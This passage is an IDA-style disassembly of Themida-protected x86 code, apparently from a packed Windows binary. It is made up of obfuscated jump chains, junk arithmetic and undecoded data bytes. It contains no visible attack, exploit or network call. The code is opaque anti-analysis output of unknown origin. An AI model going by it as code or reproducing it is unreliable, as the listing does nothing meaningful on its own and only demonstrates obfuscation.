		dd 0C15CFFFFh, 0E3C107E3h, 9CEB8106h, 0E94DE92Dh, 0FFFF9971h
; ---------------------------------------------------------------------------

loc_50BE28:				; CODE XREF: Themida_:00509ED9j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xor	eax, edi
		jmp	loc_50F750
; ---------------------------------------------------------------------------
		dw 34B8h
		dd 0E97F9723h, 0FFFF9568h, 3FC68h, 0B8505B00h, 8304B0Ah
		dd 0FFF576E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50BE51:				; CODE XREF: Themida_:0050E6D3j
		add	ebx, eax
		push	ecx
		mov	ecx, 6F787EA1h
		sub	ebx, ecx
		pop	ecx
		jmp	loc_503F4F
; ---------------------------------------------------------------------------
		db 81h,	0CFh, 66h
		dd 8101C57Eh, 875F0FE7h, 5FE95037h, 0FFFFFFA5h,	835B2434h
		dd 936804C4h, 89000015h, 0F9BF243Ch, 5604C434h,	2999BF57h
		dd 0CF811F06h, 43E17331h, 0F781DFF7h, 0C1FCEB53h, 35E9FE89h
		dd 68000028h, 2D84h, 0E9242C89h, 0FFFF4B14h, 0E4F6815Bh
		dd 813B1755h, 0F825B5EEh, 5EF201F5h, 7B10685Bh,	4890000h
		dd 4B824h, 0C2010000h, 24148758h, 0FF24248Bh, 0E99C2404h
		dd 0FFFF3936h, 78E9C731h, 81FFFF61h, 0FFCF23C7h, 0E9FB01FFh
		dd 0FFFFDC82h
; ---------------------------------------------------------------------------

loc_50BEF4:				; CODE XREF: Themida_:005067DDj
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	ebx
		push	esp
		jmp	loc_500696
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0FF77A3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50BF09:				; CODE XREF: Themida_:00501ED0j
		add	esp, 4
		jmp	loc_50BA55
; ---------------------------------------------------------------------------
		dd 3B81BD55h, 0A1E92C0Bh, 89FFFFD9h, 2AB9240Ch,	49026B3Ah
		dd 4EC8356h, 7ED3E9h, 4EB8300h,	5C241C87h, 0FF3B94E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50BF3D:				; CODE XREF: Themida_:005032FBj
		pop	edx
		push	ebp
		jmp	loc_5026CD
; ---------------------------------------------------------------------------
		dd 0D828AC04h, 2A2CAC2Ch, 8904EC83h, 2682414h, 89000069h
		dd 45B3241Ch, 8904EC83h, 51662404h, 0CC8860B1h,	0C3805966h
		dd 80E3288Ah, 0E4E98AEBh, 0B9FFFFA7h, 17A03B47h, 2E9C141h
		dd 0F132C181h, 0CF89FA17h, 5FFD0159h, 4ED81h, 2C870000h
		dd 24895C24h, 7C6FE924h, 0D5F7FFFFh, 6385E957h,	248B0000h
		dd 51BE5624h, 1449F38h,	24348BF0h, 363368h, 242C8900h
		dd 0C5815D54h, 4, 760DBB53h, 0F3817C96h, 0A6D070Ch, 7105F381h
		dd 0DD0176FBh, 7038E9h
		db 0
; ---------------------------------------------------------------------------

loc_50BFDD:				; CODE XREF: Themida_:0050BC09j
		pop	edi
		not	ebp
		push	esi
		mov	esi, 4C3D0867h
		jmp	loc_50ED5B
; ---------------------------------------------------------------------------
		db 0ADh
		dd 81E78957h, 4C7h, 4BA5200h, 29000000h, 3C335AD7h, 243C3124h
		dd 0E9243C33h, 0FFFFA51Eh, 0C5815D54h, 4, 10BB5352h, 811A0967h
		dd 55678BE3h, 0FCEB8156h, 89120166h, 42E95BDAh
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_50C02F:				; CODE XREF: Themida_:00512A19j
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_50983C
; ---------------------------------------------------------------------------

loc_50C03D:				; CODE XREF: Themida_:005034DAj
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		jmp	loc_5085DE
; ---------------------------------------------------------------------------
		db 5Dh
		dd 8105EDC1h, 605255E5h, 38C58151h, 0E95B8F6Bh,	0FFFF4772h
; ---------------------------------------------------------------------------

loc_50C070:				; CODE XREF: Themida_:00514702j
		mov	cl, al
		mov	bl, cl
		mov	ecx, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		add	dl, bl
		mov	bx, [esp]
		add	esp, 2
		and	dl, 4Eh
		xor	dl, 69h
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		mov	dl, 0B3h
		jmp	loc_50AA64
; ---------------------------------------------------------------------------
		db 59h
		dd 0B542E950h, 0C681FFFFh, 0F78E38Fh, 0FFBCB8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50C0B5:				; CODE XREF: Themida_:0050F766j
		and	edi, edx
		mov	edx, [esp]
		push	ecx
		jmp	loc_50ACF3
; ---------------------------------------------------------------------------

loc_50C0C0:				; CODE XREF: Themida_:0050274Ej
		add	ebp, eax
		pop	eax
		jmp	loc_51457C
; ---------------------------------------------------------------------------

loc_50C0C8:				; CODE XREF: Themida_:00500A41j
		sub	edi, 31111DEEh
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 350E06F1h
		sub	ebp, esi
		pop	esi
		add	ebp, edi
		add	ebp, 350E06F1h
		pop	edi
		push	edi
		mov	edi, esp
		push	esi
		jmp	loc_50FF14
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 4BB5300h, 1000000h, 34875BDEh,	7E95C24h, 83FFFFD8h
		dd 348704EEh, 0C2E95C24h, 54FFFF79h, 5A81E95Dh,	3C890000h
		dd 8C23E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50C122:				; CODE XREF: Themida_:00510B34j
		pop	ebx
		push	eax
		mov	eax, 4
		sub	ebx, 34584498h
		push	1454h
		mov	[esp], edi
		jmp	loc_500AF4
; ---------------------------------------------------------------------------
		dd 3E80C981h, 0C1815421h, 0B2326BDh, 98E9CD21h,	51FFFFC2h
		dd 0D9F6BEB1h, 0FFD709E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50C159:				; CODE XREF: Themida_:004FFCE7j
		sub	ecx, 0E2876ECh
		add	ecx, edi
		add	ecx, 0E2876ECh
		pop	edi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_504CA4
; ---------------------------------------------------------------------------

loc_50C182:				; CODE XREF: Themida_:0050D221j
		xor	ebx, 7D8B77E8h
		add	ebx, 0FFFFFFFFh
		push	eax
		mov	eax, 47E12694h
		jmp	loc_50CB7F
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0C3h
		dd 3DB3E98h, 0EB81D301h, 3DB3E98h, 8124148Bh, 4C4h, 79BA5200h
		dd 292F9E24h, 0D8315AD3h, 5EBD555Bh, 506E4F7Ah,	881F05B8h
		dd 0E604E906h, 5452FFFFh, 0CBE9555Ah, 0BFFFFF57h, 3D2D0483h
		dd 0E9DFF74Fh, 53B3h
; ---------------------------------------------------------------------------

loc_50C1E4:				; CODE XREF: Themida_:0050EFB4j
		mov	[esp], ebx
		push	2A5Ah
		mov	[esp], edi
		push	ebp
		mov	ebp, 16C11863h
		mov	edi, ebp
		jmp	loc_509BAE
; ---------------------------------------------------------------------------

loc_50C1FC:				; CODE XREF: Themida_:0050E395j
		sub	bh, 0B7h
		jmp	loc_511D67
; ---------------------------------------------------------------------------

loc_50C204:				; CODE XREF: Themida_:0050867Bj
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5038E3
; ---------------------------------------------------------------------------
		db 0C1h, 0E7h, 8
		dd 0FF98E4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50C21D:				; CODE XREF: Themida_:005145B6j
		mov	[esp], ebp
		mov	ebp, eax
		mov	ebx, ebp
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, 30662069h
		add	esi, 0FFFFFFFFh
		add	esi, 16681F15h
		sub	ebx, esi
		pop	esi
		add	ebx, edx
		push	esi
		push	ebp
		push	4BEh
		mov	[esp], eax
		mov	eax, 2855501Eh
		inc	eax
		dec	eax
		xor	eax, 121A3D53h
		mov	ebp, eax
		pop	eax
		mov	esi, 811DACCAh
		sub	esi, ebp
		pop	ebp
		jmp	loc_514736
; ---------------------------------------------------------------------------
aBGcqgsp	db 'gCqg|',0
		align 2

loc_50C276:				; CODE XREF: Themida_:005116AEj
		not	ebx
		or	ebx, 183077FBh
		push	ecx
		jmp	loc_503734
; ---------------------------------------------------------------------------
		dd 3D2BF681h, 0EE834D68h, 0C2C68101h, 0C152BA0Ch, 0F68105E6h
		dd 481E9E2Ah, 505EF509h, 0FF6BB6E9h, 2C481FFh, 53000000h
		dd 0FF639CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50C2B1:				; CODE XREF: Themida_:0050BB53j
		sub	esi, 3FE3A7Eh
		mov	ebp, esi
		pop	esi
		or	ebp, 41AE1490h
		jmp	loc_5024D3
; ---------------------------------------------------------------------------
		db 1, 0C2h, 0E9h
		dd 1BDEh
; ---------------------------------------------------------------------------

loc_50C2CC:				; CODE XREF: Themida_:00508A03j
		mov	cl, 0C0h
		mov	dl, cl
		pop	ecx
		shl	dl, 7
		neg	dl
		jmp	loc_50D3DF
; ---------------------------------------------------------------------------
		db 0FFh
a4Suj		db '4$J',0
		dw 5200h
		dd 0C281E289h, 4, 4C281h, 14870000h, 4F3E924h, 54500000h
		dd 582434FFh, 5204C483h, 0FF5E5AE9h, 0B1EE81FFh, 8174A913h
		dd 24DB1EEh, 0BE565386h, 458164B3h, 0FFB8B5E9h,	58C731FFh
		dd 0BD55DFF7h, 186D17B2h, 3723E581h, 0C5816906h, 3BAE697Eh
		dd 1DFBED81h, 0E5C11404h, 8C58104h, 31CA4A66h, 0F8015DEFh
		dd 2DD8295Fh, 3EE356A5h, 30FDBA52h, 43052CB7h, 57F9747h
		dd 32F761B4h, 0FF508AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50C369:				; CODE XREF: Themida_:00509B21j
		push	dword ptr [edi+eax*4]
		jmp	loc_5066B7
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 0E9000000h, 0FFFF9372h, 5404E953h, 3489FFFFh, 4EC8324h
		dd 0E9241C89h, 0FFFF5D19h, 0C380C3FEh, 5BD800F9h, 2434FF5Bh
		dd 592434FFh, 8304C483h, 53E904C4h, 66FFFFB1h, 0E9242C87h
		dd 0FFFF9C61h, 9C241CF7h, 0FF3459E9h, 24248BFFh, 6824048Bh
		dd 5A45h, 0FFD033E9h, 24348BFFh, 0FF89C6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50C3D5:				; CODE XREF: Themida_:00503F70j
		pop	esp
		push	4756h
		mov	[esp], edi
		mov	edi, 4
		sub	ebx, 65654642h
		sub	ebx, edi
		add	ebx, 65654642h
		pop	edi
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_511B6E
; ---------------------------------------------------------------------------
		dd 0E905E1C1h, 0FFFF3FDDh
; ---------------------------------------------------------------------------

loc_50C408:				; CODE XREF: Themida_:00504165j
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	edx
		jmp	loc_50A579
; ---------------------------------------------------------------------------
		db 40h,	0E9h, 47h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50C41F:				; CODE XREF: Themida_:00503D21j
		mov	[esp], ecx
		push	esi
		push	6D862CE1h
		mov	esi, [esp]
		add	esp, 4
		shl	esi, 3
		push	edx
		mov	edx, 2D383FF8h
		xor	esi, edx
		pop	edx
		mov	ecx, esi
		pop	esi
		jmp	loc_5039CA
; ---------------------------------------------------------------------------

loc_50C445:				; CODE XREF: Themida_:0051104Ej
		sub	esp, 4
		jmp	loc_50751E
; ---------------------------------------------------------------------------
		db 68h,	0F8h, 49h
		dd 348B6293h, 4C48124h,	0E9000000h, 0FFFF8748h,	0FF2434FFh
		dd 0E9582434h, 6430h, 0C581E589h, 4, 8704ED83h,	248B242Ch
		dd 64AEE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50C482:				; CODE XREF: Themida_:005114F7j
		mov	ecx, 22752638h
		dec	ecx
		inc	ecx
		jmp	loc_5057AF
; ---------------------------------------------------------------------------

loc_50C48E:				; CODE XREF: Themida_:00502D3Bj
		and	eax, 12C5729Ch
		jmp	loc_5053C0
; ---------------------------------------------------------------------------

loc_50C498:				; CODE XREF: Themida_:0050AFBCj
		xchg	eax, [esp]
		pop	esp
		xchg	esi, [esp]
		pop	esp
		push	494Fh
		jmp	loc_503D71
; ---------------------------------------------------------------------------
aYsY		db ')Y/Y',0
		align 2

loc_50C4B2:				; CODE XREF: Themida_:00508215j
		mov	eax, 5A564FE0h
		add	eax, 25E07E9Eh
		sub	eax, 0F6A480Ah
		sub	eax, 1CA133C8h
		or	esi, eax
		jmp	loc_5010D9
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 55000000h, 4BDh, 3689E900h, 4330000h, 684FE924h, 0C1810000h
		dd 57135B13h, 0E981F929h, 57135B13h, 52243C8Bh,	0C281E289h
		dd 4, 4C281h, 6AE90000h
		db 77h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50C50B:				; CODE XREF: Themida_:00502B90j
		push	ebp
		mov	ebp, 4
		add	dword ptr [esp+4], 26D7242h
		add	[esp+4], ebp
		sub	dword ptr [esp+4], 26D7242h
		pop	ebp
		pop	ebp
		add	ebp, 4
		push	esi
		jmp	loc_5133EA
; ---------------------------------------------------------------------------
		db 81h
		dd 384D47C7h, 5FF90182h, 0E981D129h, 716B0746h,	304EE95Ah
		dd 0C3810000h, 537C0F12h, 4768CB29h, 0E900001Dh, 0FFFFF9A5h
; ---------------------------------------------------------------------------

loc_50C55C:				; CODE XREF: Themida_:00513437j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 290E3432h
		shl	ebp, 2
		xor	ebp, 3FA3DA1h
		push	edi
		jmp	loc_50D744
; ---------------------------------------------------------------------------
		db 28h,	0C3h, 58h
		dd 6671EB80h, 0E924148Bh, 0FFFF579Ah, 5C241487h, 3284E95Ah
		dd 77FFFFFFh, 59669D1Ch, 2414D366h, 3274E99Ch, 0E957FFFFh
		dd 0FFFFCA9Fh, 8B2434FFh, 0EC812434h, 4, 89243489h, 4B951E6h
		dd 1000000h, 0C68159CEh, 4, 31243433h, 34332434h, 33685C24h
		dd 89000024h, 0E9542434h, 0FFFF40F0h
; ---------------------------------------------------------------------------

loc_50C5E0:				; CODE XREF: Themida_:0050CC9Fj
		pop	ebx
		add	ecx, esi
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 1C2D1414h
		add	ebp, 0E3D2EBF0h
		jmp	loc_514CC1
; ---------------------------------------------------------------------------
aYXsM		db 'Y(Xm',0
		db 0
; ---------------------------------------------------------------------------

loc_50C603:				; CODE XREF: Themida_:0050D2C5j
		push	dword ptr [esp]
		jmp	loc_50EB10
; ---------------------------------------------------------------------------
		db 5Eh
		dd 8101C683h, 0F32921C6h, 0E95956D9h, 0A61h, 0BE243489h
		dd 3D8B72DDh, 8102EEC1h, 3E18BCC6h, 9008E965h, 8B66FFFFh
		dd 8E68240Ch, 89000079h, 58542404h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	edx
		mov	edx, 4
		mov	ebx, edx
		pop	edx
		jmp	loc_505252
; ---------------------------------------------------------------------------

loc_50C664:				; CODE XREF: Themida_:00502042j
		push	ebp
		mov	ebp, 588D635Dh
		or	edi, ebp
		pop	ebp
		jmp	loc_512AA6
; ---------------------------------------------------------------------------

loc_50C672:				; CODE XREF: Themida_:0050D2F2j
		mov	esi, esp
		add	esi, 4
		push	3216h
		mov	[esp], ebx
		mov	ebx, 2A1B3D04h
		jmp	loc_509B43
; ---------------------------------------------------------------------------
		dd 4C481h, 0BFE90000h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50C697:				; CODE XREF: Themida_:005028EDj
		mov	edx, 0
		sub	edx, ebx
		mov	ebx, edx
		pop	edx
		add	ebx, 0E5211052h
		jmp	loc_507370
; ---------------------------------------------------------------------------
		dd 1DEE814Eh, 0E95BAA6Ch, 0FFFFC137h, 9F83C281h, 0C681FFBFh
		dd 2B717AA7h, 9D6E9h
		db 0
; ---------------------------------------------------------------------------

loc_50C6C9:				; CODE XREF: Themida_:00507C59j
		mov	edx, esp
		add	edx, 4
		jmp	loc_50743B
; ---------------------------------------------------------------------------

loc_50C6D6:				; CODE XREF: Themida_:00503BE9j
		pop	eax
		add	eax, 3D6F2Bh
		jmp	loc_512C89
; ---------------------------------------------------------------------------

loc_50C6E1:				; CODE XREF: Themida_:00512D12j
		not	ebx
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_508426
; ---------------------------------------------------------------------------
		dd 1DE9D800h, 66000087h, 8324048Bh, 0C6E904ECh
		db 44h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50C707:				; CODE XREF: Themida_:0050886Dj
		push	edi
		mov	edi, 70F00E15h
		mov	ebx, edi
		jmp	loc_5116AA
; ---------------------------------------------------------------------------
		dd 5204C483h, 4BAh, 8BD50100h, 0C4832414h, 51FFE904h, 53590000h
		dd 26855h, 895D0000h, 242C8BEBh, 2904C483h, 2434FFD8h
		dd 83241C8Bh, 895204C4h, 0CAA1E9E2h, 895FFFFFh,	240C8BCEh
		dd 5004C483h, 245DA1B8h, 8BC70145h, 88E92404h, 66000043h
		dd 83240C8Bh, 9BE904ECh
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50C773:				; CODE XREF: Themida_:0050BC3Aj
		xor	ecx, edi
		pop	edi
		add	ebx, ecx
		pop	ecx
		jmp	loc_512EA7
; ---------------------------------------------------------------------------
		dw 50B4h
		dd 0D4F6C4FEh, 809CCC80h, 0E78894C4h, 25E7E9h, 5BD82800h
		dd 0FF972DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50C799:				; CODE XREF: Themida_:00513764j
		pop	edx
		add	esp, 4
		sub	esp, 2
		mov	[esp], ax
		push	ecx
		mov	cl, 1Ch
		push	edx
		jmp	loc_51296C
; ---------------------------------------------------------------------------
		db 81h,	0E1h, 0E5h
		dd 8101C875h, 805FFCE9h, 59CF0101h, 4BA52h, 0D7010000h
		dd 74FF575Ah, 8F5F0424h, 335C2404h, 14312414h, 24143324h
		dd 15D9E9h, 24048B00h, 8904EC83h, 0E389241Ch, 6FC3E9h
		dd 29665C00h, 0E95F66F8h, 48A8h, 0E0BA5253h, 0E9198A72h
		dd 3880h, 405h,	24048700h, 544DE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50C812:				; CODE XREF: Themida_:0050DF9Dj
		pop	eax
		add	esp, 4
		push	ecx
		jmp	loc_5105DA
; ---------------------------------------------------------------------------
		dd 0EB81DBF7h, 0A210CC21h, 875BDF01h, 248B243Ch, 7ABE5624h
		dd 4E44E855h, 4EC81h, 14890000h, 0EBA24h, 0F2816468h, 59FC362Dh
		dd 6E9D601h, 81FFFFE6h,	4ECh, 24148900h, 0FFC964E9h, 0C8966FFh
		dd 84D6E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50C866:				; CODE XREF: Themida_:00503B1Fj
		and	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	75E7h
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_514E2B
; ---------------------------------------------------------------------------
		dw 8197h
		dd 0A0D65CFh, 0E7814F0Ah, 2861042Ah, 0FF9566E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50C895:				; CODE XREF: Themida_:00500893j
		mov	ecx, 4
		add	[esp+4], ecx
		jmp	loc_513CBA
; ---------------------------------------------------------------------------

loc_50C8A3:				; CODE XREF: Themida_:00505259j
		add	eax, 612E7D5Ch
		pop	ebx
		push	ebp
		mov	ebp, 2
		sub	eax, 8ED53EDh
		add	eax, ebp
		add	eax, 8ED53EDh
		jmp	loc_508680
; ---------------------------------------------------------------------------
		dd 3E1C15Bh, 0B3E9D1F7h, 29FFFFBBh, 815959CEh, 37232FC6h
		dd 242DE90Fh, 0C1830000h, 240C8704h, 0C175E95Ch, 815EFFFFh
		dd 3A2D22F2h, 20C28144h, 816A81B8h, 7A2503EEh, 81D6295Eh
		dd 7A2503C6h, 0EC815A5Eh, 4, 419BE9h, 4EDC000h,	0A5B15153h
		dd 0CB00F5B3h, 5BDD0059h, 0B753CDFEh, 8EFC067h,	8004E7C0h
		dd 0FD30C7C7h, 0F6DDF65Bh, 0E4ED80D5h, 0C5E9EA88h, 81FFFF69h
		dd 0F82669EDh, 2C875930h, 0EC815C24h, 4, 54242C89h, 0BB53565Dh
		dd 7A926B3Ch, 1C8BDE89h, 4C48324h, 6ADDC681h, 0D6F767E5h
		dd 0FF90D7E9h, 58E330FFh, 805BDC28h, 0E10073C1h, 0FF61E0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50C97D:				; CODE XREF: Themida_:00507E47j
		add	esp, 4
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_50A6F8
; ---------------------------------------------------------------------------

loc_50C991:				; CODE XREF: Themida_:00503BD4j
		pop	edi
		pop	ebp
		add	edx, 829F921Ch
		add	edi, 3725399h
		sub	edi, 54A5720Ch
		add	edi, edx
		add	edi, 54A5720Ch
		sub	edi, 3725399h
		pop	edx
		and	eax, edi
		pop	edi
		shr	eax, 10h
		xor	eax, ecx
		xor	eax, edi
		xor	edi, eax
		xor	eax, edi
		xor	edi, ebx
		xor	ebx, edi
		jmp	loc_507D12
; ---------------------------------------------------------------------------

loc_50C9CB:				; CODE XREF: Themida_:005069FAj
		xchg	ebx, [esp]
		pop	esp
		push	ebp
		mov	ebp, 18F25507h
		jmp	loc_51334B
; ---------------------------------------------------------------------------

loc_50C9DA:				; CODE XREF: Themida_:0050B061j
		sub	esi, 0CE853F41h
		jmp	loc_507877
; ---------------------------------------------------------------------------

loc_50C9E5:				; CODE XREF: Themida_:00502531j
		push	ebx
		mov	ebx, 0B7A4238h
		or	eax, ebx
		pop	ebx
		add	eax, 4A170F5h
		xor	eax, 0F00CB83h
		mov	edx, eax
		pop	eax
		sub	edx, 71D36727h
		jmp	loc_5022A6
; ---------------------------------------------------------------------------

loc_50CA06:				; CODE XREF: Themida_:0050DD76j
		pop	ebx
		mov	eax, [esp]
		jmp	loc_5046EA
; ---------------------------------------------------------------------------

loc_50CA0F:				; CODE XREF: Themida_:00503C93j
		mov	edi, 2CAD5EA8h
		not	edi
		jmp	loc_50DB95
; ---------------------------------------------------------------------------
		db 81h
		dd 487D36EAh, 5AD50125h, 1482C381h, 0EB2918DAh,	1482EB81h
		dd 2C8B18DAh, 4C48124h,	50000000h, 5A7DE9B8h, 0F9C3815Ah
		dd 29300F18h, 0F9B951C3h, 0E9300F18h, 0FFFF317Dh, 0D800B9B3h
		dd 57241C8Bh, 0C781E789h, 4, 0FF9942E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50CA69:				; CODE XREF: Themida_:00511AA6j
		mov	eax, [esp]
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_501A76
; ---------------------------------------------------------------------------

loc_50CA74:				; CODE XREF: Themida_:00501D1Dj
		pop	edi
		xor	eax, esi
		push	dword ptr [esp]
		jmp	loc_509B6E
; ---------------------------------------------------------------------------
		db 89h
		dd 8EBE2434h, 811B6743h, 0F40553C1h, 0F7D9E962h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50CA92:				; CODE XREF: Themida_:0050614Fj
		add	ebx, edi
		push	dword ptr [esp]
		jmp	loc_510D90
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0F4682414h, 0FF1EEA1Fh, 34FF2434h, 0C4815A24h
		dd 4, 0FF721AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50CAB9:				; CODE XREF: Themida_:005092C0j
		xor	ebx, 2E6A08B3h
		add	edi, ebx
		pop	ebx
		neg	edi
		sub	edi, 30A4E404h
		add	ebx, 8DA5871h
		sub	ebx, edi
		sub	ebx, 8DA5871h
		pop	edi
		sub	ebx, 24C836CEh
		add	ebx, edi
		add	ebx, 24C836CEh
		add	ebx, 4A4837A2h
		pop	edi
		jmp	loc_504A54
; ---------------------------------------------------------------------------
		db 31h
		dd 31D031C2h, 4CF281C2h, 50209955h, 5969E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50CB06:				; CODE XREF: Themida_:0051219Fj
		add	edx, 2C2E2083h
		jmp	loc_51290D
; ---------------------------------------------------------------------------
		db 25h,	0C4h, 28h
		dd 0D0F7239Dh, 5672A205h, 6777E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50CB22:				; CODE XREF: Themida_:00501DB2j
		push	ecx
		mov	ecx, 44093734h
		or	ecx, 3F0624EBh
		xor	ecx, 79C6534Dh
		not	ecx
		or	ecx, 41441A59h
		shl	ecx, 4
		xor	ecx, 0D8F084ACh
		jmp	loc_512A46
; ---------------------------------------------------------------------------

loc_50CB4A:				; CODE XREF: Themida_:0050EEF2j
		jmp	loc_4FF816
; ---------------------------------------------------------------------------
aEstv		db ']Ev',0
		align 2
		dw 0F381h
		dd 1330D2Ch, 815BD931h,	8F6CA3C1h, 4DE95607h
		db 3 dup(0)
; ---------------------------------------------------------------------------

loc_50CB6B:				; CODE XREF: Themida_:0050476Ej
		shl	edx, 1
		push	4E68h
		mov	[esp], edx
		mov	edx, 24h
		jmp	loc_50E4C6
; ---------------------------------------------------------------------------

loc_50CB7F:				; CODE XREF: Themida_:0050C194j
		xor	ebx, eax
		pop	eax
		mov	edi, ebx
		jmp	loc_504B97
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 64h
		dd 2517BD30h, 422B1E58h, 641D0D40h, 143523C2h, 291DAF5Bh
		dd 0FA3158C7h, 0E9243C8Bh, 0FFFF523Ch
; ---------------------------------------------------------------------------

loc_50CBAC:				; CODE XREF: Themida_:005013B6j
		sub	edx, 2EAA0207h
		pop	eax
		jmp	loc_5040D4
; ---------------------------------------------------------------------------
		dd 0E964FABEh, 0EAEE812Ah, 0E919C838h, 46C1h, 405E089h
		dd 0E9000000h, 0FFFFC6DAh, 592434FFh, 81E28952h, 4C2h
		dd 4C28100h, 87000000h,	248B2414h, 0EB9E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50CBF2:				; CODE XREF: Themida_:0050F4C7j
		push	ebx
		pop	eax
		pop	ebx
		mov	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	ebx, 67A67BA9h
		add	ebx, eax
		xor	[ebx], ecx
		jmp	loc_51400A
; ---------------------------------------------------------------------------

loc_50CC0F:				; CODE XREF: Themida_:0050DEEBj
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_50672D
; ---------------------------------------------------------------------------
		db 0F7h, 0D7h, 53h
		dd 3B1DCCBBh, 0B4EF815Bh, 143CB12h, 0B4C781DFh,	5B43CB12h
		dd 13EE9h
		db 0
; ---------------------------------------------------------------------------

loc_50CC45:				; CODE XREF: Themida_:00504173j
		add	esp, 4
		xor	esi, 3CF10FC6h
		jmp	loc_5055CA
; ---------------------------------------------------------------------------
		dw 0D589h
		dd 2434FF5Ah, 0FF66EDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50CC61:				; CODE XREF: Themida_:0050D73Fj
		mov	[esp], ebp
		jmp	loc_50D2CA
; ---------------------------------------------------------------------------

loc_50CC69:				; CODE XREF: Themida_:0050BA5Dj
		pop	ebp
		push	eax
		jmp	loc_500D79
; ---------------------------------------------------------------------------
		dd 0E781DFF7h, 60276841h, 1F94F781h, 0F82923D2h, 0FF39FEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50CC85:				; CODE XREF: Themida_:0050A59Aj
		mov	ebx, 2143687Fh
		add	ebx, 0DEBC9785h
		push	ebx
		xor	dword ptr [esp], 241D59DFh
		pop	esi
		xor	esi, 241D59DFh
		jmp	loc_50C5E0
; ---------------------------------------------------------------------------
aM0HB		db '0hb',0
		align 4
		dd 52240C89h, 0C281E289h, 4, 1C15E9h
		db 0
; ---------------------------------------------------------------------------

loc_50CCBD:				; CODE XREF: Themida_:00501849j
		xor	ebx, 6FEF7C98h
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jz	loc_514A89
		push	dword ptr [edi+1Ch]
		jmp	loc_50A35B
; ---------------------------------------------------------------------------

loc_50CCD6:				; CODE XREF: Themida_:005039AEj
		mov	[esp], edi
		mov	edi, 151D5250h
		push	0
		jmp	loc_50BC27
; ---------------------------------------------------------------------------

loc_50CCE8:				; CODE XREF: Themida_:00503709j
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		jmp	loc_50A943
; ---------------------------------------------------------------------------
		dd 0F380C3FEh, 59DEE9C5h, 0E689FFFFh, 4BB53h, 0DE010000h
		dd 4BF575Bh, 29000000h,	0FF565FFEh, 0FF042474h,	815E2434h
		dd 4C4h, 24048F00h, 242C895Ch, 9D68E589h, 0E9000001h, 0FFFF6A4Ah
		dd 5324048Bh, 0C381E389h, 4, 0E904EB83h, 303h, 0C2AC581h
		dd 0EA89F725h, 0FF3B0CE9h
		db 0FFh
